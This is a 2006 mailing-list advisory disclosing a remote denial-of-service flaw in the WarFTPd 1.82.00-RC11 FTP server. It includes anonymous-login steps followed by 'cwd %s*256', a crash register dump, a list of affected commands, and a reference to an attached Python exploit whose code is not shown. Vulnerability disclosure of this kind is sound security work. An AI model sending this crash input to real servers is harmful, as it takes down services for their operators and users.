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WarFTPd 1.82.00-RC11 Remote Denial Of Service


From: Joxean Koret <joxeankoret () yahoo es>
Date: Tue, 7 Nov 2006 10:23:59 +0100 (CET)

WarFTPd 1.82.00-RC11 Remote Denial Of Service
---------------------------------------------

WarFTPd is vulnerable to a DOS condition when passing
to various commands a long string with
two times the "%s" character(s) inside. It looks as
non exploitable as the problem crashes with 
the same output at the same instruction and address
regarding or regardless of the buffer size
and the %${char} passed. Maybe another one founds it
vulnerable.

Example:
        
$ ftp target
(Banner)
ftp> quote user anonymous
ftp> quote pass bla
ftp> cwd %s*256

or 

ftp> cdup %s*256

Server will crash as follows:
        
EAX 00000001
ECX 00000073
EDX 00000002
EBX 0079E890
ESP 0079E7A0
EBP 00A55A8A ASCII
"s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s(...more %s
characters)"
ESI 0079E7DE
EDI 0000000A
EIP 00431540 war-ftpd.00431540

00431540   8A08             MOV CL,BYTE PTR DS:[EAX]

Only one shoot is needed. Any file related operation
will crash. It was found during an ftp
fuzzing session.

The following commands found vulnerables (at least):
        
        CWD
        CDUP
        DELE
        NLST
        LIST
        SIZE

Well, any file related operation. Attached goes a
Python exploit.

Disclaimer
----------
The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.

I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.
---------------------------------------------------------------------------

Contact
-------

Joxean Koret at <<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es


                
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Attachment: dos.py
Description: 1450979178-dos.py


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